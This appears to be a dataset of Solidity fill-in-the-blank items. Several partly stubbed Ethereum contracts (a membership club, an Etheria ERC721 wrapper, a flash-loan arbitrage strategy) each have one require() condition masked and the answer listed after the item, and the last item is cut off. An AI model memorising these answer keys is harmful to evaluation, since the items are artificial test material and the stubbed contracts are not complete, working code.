uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
// Members must exist and be currently active to proclaim inactivity.
require(<FILL_ME>)
require(memberIsActive(_memberId));
// Members cannot proclaim themselves as inactive (safety measure).
require(addressToMember_[msg.sender] != _memberId);
// Log proclamation of inactivity: (inactive member id, member id, time).
MemberProclaimedInactive(_memberId, addressToMember_[msg.sender]);
// Set the `inactiveSince` field on the inactive member.
members_[_memberId].inactiveSince = uint64(now);
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| members_[_memberId].member | 17,937 | members_[_memberId].member |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
// Members must exist and be currently active to proclaim inactivity.
require(members_[_memberId].member);
require(<FILL_ME>)
// Members cannot proclaim themselves as inactive (safety measure).
require(addressToMember_[msg.sender] != _memberId);
// Log proclamation of inactivity: (inactive member id, member id, time).
MemberProclaimedInactive(_memberId, addressToMember_[msg.sender]);
// Set the `inactiveSince` field on the inactive member.
members_[_memberId].inactiveSince = uint64(now);
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| memberIsActive(_memberId) | 17,937 | memberIsActive(_memberId) |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
// Members must exist and be currently active to proclaim inactivity.
require(members_[_memberId].member);
require(memberIsActive(_memberId));
// Members cannot proclaim themselves as inactive (safety measure).
require(<FILL_ME>)
// Log proclamation of inactivity: (inactive member id, member id, time).
MemberProclaimedInactive(_memberId, addressToMember_[msg.sender]);
// Set the `inactiveSince` field on the inactive member.
members_[_memberId].inactiveSince = uint64(now);
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| addressToMember_[msg.sender]!=_memberId | 17,937 | addressToMember_[msg.sender]!=_memberId |
null | pragma solidity ^0.4.19;
contract SupportedContract {
// Members can call any contract that exposes a `theCyberMessage` method.
function theCyberMessage(string) public;
}
contract ERC20 {
// We want to be able to recover & donate any tokens sent to the contract.
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract theCyber {
// theCyber is a decentralized club. It does not support equity memberships,
// payment of dues, or payouts to the members. Instead, it is meant to enable
// dapps that allow members to communicate with one another or that provide
// arbitrary incentives or special access to the club's members. To become a
// member of theCyber, you must be added by an existing member. Furthermore,
// existing memberships can be revoked if a given member becomes inactive for
// too long. Total membership is capped and unique addresses are required.
event NewMember(uint8 indexed memberId, bytes32 memberName, address indexed memberAddress);
event NewMemberName(uint8 indexed memberId, bytes32 newMemberName);
event NewMemberKey(uint8 indexed memberId, string newMemberKey);
event MembershipTransferred(uint8 indexed memberId, address newMemberAddress);
event MemberProclaimedInactive(uint8 indexed memberId, uint8 indexed proclaimingMemberId);
event MemberHeartbeated(uint8 indexed memberId);
event MembershipRevoked(uint8 indexed memberId, uint8 indexed revokingMemberId);
event BroadcastMessage(uint8 indexed memberId, string message);
event DirectMessage(uint8 indexed memberId, uint8 indexed toMemberId, string message);
event Call(uint8 indexed memberId, address indexed contractAddress, string message);
event FundsDonated(uint8 indexed memberId, uint256 value);
event TokensDonated(uint8 indexed memberId, address tokenContractAddress, uint256 value);
// There can only be 256 members (member number 0 to 255) in theCyber.
uint16 private constant MAXMEMBERS_ = 256;
// A membership that has been marked as inactive for 90 days may be revoked.
uint64 private constant INACTIVITYTIMEOUT_ = 90 days;
// Set the ethereum tip jar (ethereumfoundation.eth) as the donation address.
address private constant DONATIONADDRESS_ = 0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359;
// A member has a name, a public key, a date they joined, and a date they were
// marked as inactive (which is equial to 0 if they are currently active).
struct Member {
bool member;
bytes32 name;
string pubkey;
uint64 memberSince;
uint64 inactiveSince;
}
// Set up a fixed array of members indexed by member id.
Member[MAXMEMBERS_] internal members_;
// Map addresses to booleans designating that they control the membership.
mapping (address => bool) internal addressIsMember_;
// Map addresses to member ids.
mapping (address => uint8) internal addressToMember_;
// Map member ids to addresses that own the membership.
mapping (uint => address) internal memberToAddress_;
// Most methods of the contract, like adding new members or revoking existing
// inactive members, can only be called by a valid member.
modifier membersOnly() {
}
// In the constructor function, set up the contract creator as the first
// member so that other new members can be added.
function theCyber() public {
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
// Members must exist in order to be revoked.
require(members_[_memberId].member);
// Members must be designated as inactive.
require(<FILL_ME>)
// Members cannot revoke themselves (safety measure).
require(addressToMember_[msg.sender] != _memberId);
// Members must be inactive for the duration of the inactivity timeout.
require(now >= members_[_memberId].inactiveSince + INACTIVITYTIMEOUT_);
// Log that the membership has been revoked.
MembershipRevoked(_memberId, addressToMember_[msg.sender]);
// Revoke members-only access for the member.
delete addressIsMember_[memberToAddress_[_memberId]];
// Delete the pointer linking the address to the member id.
delete addressToMember_[memberToAddress_[_memberId]];
// Delete the address associated with the member id.
delete memberToAddress_[_memberId];
// Finally, delete the member.
delete members_[_memberId];
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
}
function maxMembers() public pure returns(uint16) {
}
function inactivityTimeout() public pure returns(uint64) {
}
function donationAddress() public pure returns(address) {
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
}
}
| !memberIsActive(_memberId) | 17,937 | !memberIsActive(_memberId) |
"ERC721: cannot transfer to a contract" | pragma solidity ^0.7.6;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
interface MapElevationRetriever {
function getElevation(uint8 col, uint8 row) external view returns (uint8);
}
interface Etheria{
function getOwner(uint8 col, uint8 row) external view returns(address);
function setOwner(uint8 col, uint8 row, address newowner) external;
}
contract InterfacedEtheriaV12 is ERC721 {
using Address for address;
using Strings for uint256;
Etheria public etheria = Etheria(0xB21f8684f23Dbb1008508B4DE91a0aaEDEbdB7E4);
constructor() ERC721("Interfaced Etheria V1.2", "INTERFACEDETHERIAV1.2") {
}
function _deindexify(uint index) view internal returns (uint8 col, uint8 row) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
//------------------------------------------------------------------------------------------------
//
//
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
//------------------------------------------------------------------------------------------------
//
//
function _transfer(address to, uint8 col, uint8 row) internal {
require(<FILL_ME>)
require(to != address(0), "ERC721: transfer to the zero address");
etheria.setOwner(col, row, to);
emit Transfer(tx.origin, to, uint(col)*33 + uint(row));
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
}
}
| !to.isContract(),"ERC721: cannot transfer to a contract" | 17,997 | !to.isContract() |
"No flash loan authorized on this contract" | pragma solidity ^0.6.6;
// This is a strategy that takes advantage of arb opportunities for ust
// Users deposit ust into the strategy and the strategy will sell into usdt when above usdt and usdt into ust when below
// Selling will occur via Uniswap or Curve and buying WETH via Uniswap
// Half the profit earned from the sell will be used to buy WETH and split it between the treasury, executor and staking pool
// Half will remain
// This strategy also uses flash loans to take advantage of opportunities in price inversions between exchanges
// Strategy takes into account 0.2% slippage estimate for large sells
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface UniswapRouter {
function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory);
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out
}
interface CurvePool {
function get_dy_underlying(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange_underlying(int128, int128, uint256, uint256) external; // Exchange tokens
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
}
interface LendingPool {
function flashLoan(address, address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata params, uint16) external;
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract StabilizeStrategyUSTFlashArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime = 0;
uint256 public lastActionBalance = 0; // Balance before last deposit or withdraw
uint256 public maxPoolSize = 3000000e18; // The maximum amount of ust tokens this strategy can hold, 3 mil by default
uint256 public percentTradeTrigger = 10000; // 10% change in value will trigger a trade
uint256 public maxSlippage = 200; // 0.2% max slippage is ok
uint256 public maxPercentSell = 100000; // 100% of the tokens are sold to the cheapest token if slippage is ok
uint256 public maxAmountSell = 100000; // The maximum amount of tokens that can be sold at once
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains
uint256 public percentExecutor = 10000; // 30000 = 30% of WETH goes to executor, 15% of total profit
uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed
uint256 public minTradeSplit = 20000; // If the balance is less than or equal to this, it trades the entire balance
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 800000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256[3] private flashParams; // Global parameters guiding the flash loan setup
uint256 constant minGain = 1e16; // Minimum amount of gain (0.01 coin) before buying WETH and splitting it
// Token information
// This strategy accepts frax and usdc
struct TokenInfo {
IERC20 token; // Reference of token
uint256 decimals; // Decimals of token
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
// Strategy specific variables
address constant UNISWAP_ROUTER_ADDRESS = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Address of Uniswap
address constant CURVE_UST_POOL = address(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
address constant LENDING_POOL_ADDRESS_PROVIDER = address(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); // Provider for Aave addresses
constructor(
address _treasury,
address _staking,
address _zsToken
) public {
}
// Initialization functions
function setupWithdrawTokens() internal {
}
// Modifier
modifier onlyZSToken() {
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
}
function balance() public view returns (uint256) {
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
}
function withdrawTokenReserves() public view returns (address, uint256) {
}
// Write functions
function enter() external onlyZSToken {
}
function exit() external onlyZSToken {
}
function deposit(bool nonContract) public onlyZSToken {
}
function simulateExchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal view returns (uint256) {
}
function exchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal {
}
function getCheaperToken() internal view returns (uint256, uint256) {
}
function estimateSellAtMaxSlippage(uint256 originID, uint256 targetID, uint256 _balance) internal view returns (uint256) {
}
function estimateFlashLoanResult(uint256 point1, uint256 point2, uint256 _amount) internal view returns (uint256) {
}
function performFlashLoan(uint256 point1, uint256 point2, uint256 _amount) internal returns (uint256) {
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
require(<FILL_ME>)
address lendingPool = LendingPoolAddressesProvider(LENDING_POOL_ADDRESS_PROVIDER).getLendingPool();
require(_msgSender() == lendingPool, "Not called from Aave");
require(initiator == address(this), "Not Authorized"); // Prevent other contracts from calling this function
if(params.length == 0){} // Removes the warning
flashParams[0] = 0; // Prevent a replay;
{
// Create inner scope to prevent stack too deep error
uint256 point1 = flashParams[1];
uint256 point2 = flashParams[2];
uint256 _bal;
// Swap the amounts to earn more
if(point2 > point1){
// USL price is lower than USDT on Uniswap, while higher on Curve
// Use the borrowed USDT to buy USL on Uniswap
_bal = tokenList[0].token.balanceOf(address(this));
exchange(address(tokenList[1].token), address(tokenList[0].token), amounts[0], true); // Receive USL
_bal = tokenList[0].token.balanceOf(address(this)).sub(_bal);
exchange(address(tokenList[0].token), address(tokenList[1].token), _bal, false); // Receive USDT
}else{
// USL price higher than USDT on Uniswap while lower on Curve
_bal = tokenList[0].token.balanceOf(address(this));
exchange(address(tokenList[1].token), address(tokenList[0].token), amounts[0], false); // Receive USL
_bal = tokenList[0].token.balanceOf(address(this)).sub(_bal);
exchange(address(tokenList[0].token), address(tokenList[1].token), _bal, true); // Receive USDT
}
}
// Authorize Aave to pull funds from this contract
// Approve the LendingPool contract allowance to *pull* the owed amount
for(uint256 i = 0; i < assets.length; i++) {
uint256 amountOwing = amounts[i].add(premiums[i]);
IERC20(assets[i]).safeApprove(lendingPool, 0);
IERC20(assets[i]).safeApprove(lendingPool, amountOwing);
}
return true;
}
function getFastGasPrice() internal view returns (uint256) {
}
function checkAndSwapTokens(address _executor) internal {
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
}
// This will withdraw the tokens from the contract based on their order
function withdrawPerOrder(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[7] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _mSellAmount, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend, uint256 _pSlip) external onlyGovernance {
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(5) {
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers, uint256 _maxPool) external onlyGovernance {
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(6) {
}
// --------------------
}
| flashParams[0]==1,"No flash loan authorized on this contract" | 18,038 | flashParams[0]==1 |
"Not called from Aave" | pragma solidity ^0.6.6;
// This is a strategy that takes advantage of arb opportunities for ust
// Users deposit ust into the strategy and the strategy will sell into usdt when above usdt and usdt into ust when below
// Selling will occur via Uniswap or Curve and buying WETH via Uniswap
// Half the profit earned from the sell will be used to buy WETH and split it between the treasury, executor and staking pool
// Half will remain
// This strategy also uses flash loans to take advantage of opportunities in price inversions between exchanges
// Strategy takes into account 0.2% slippage estimate for large sells
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface UniswapRouter {
function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory);
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out
}
interface CurvePool {
function get_dy_underlying(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange_underlying(int128, int128, uint256, uint256) external; // Exchange tokens
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
}
interface LendingPool {
function flashLoan(address, address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata params, uint16) external;
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract StabilizeStrategyUSTFlashArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
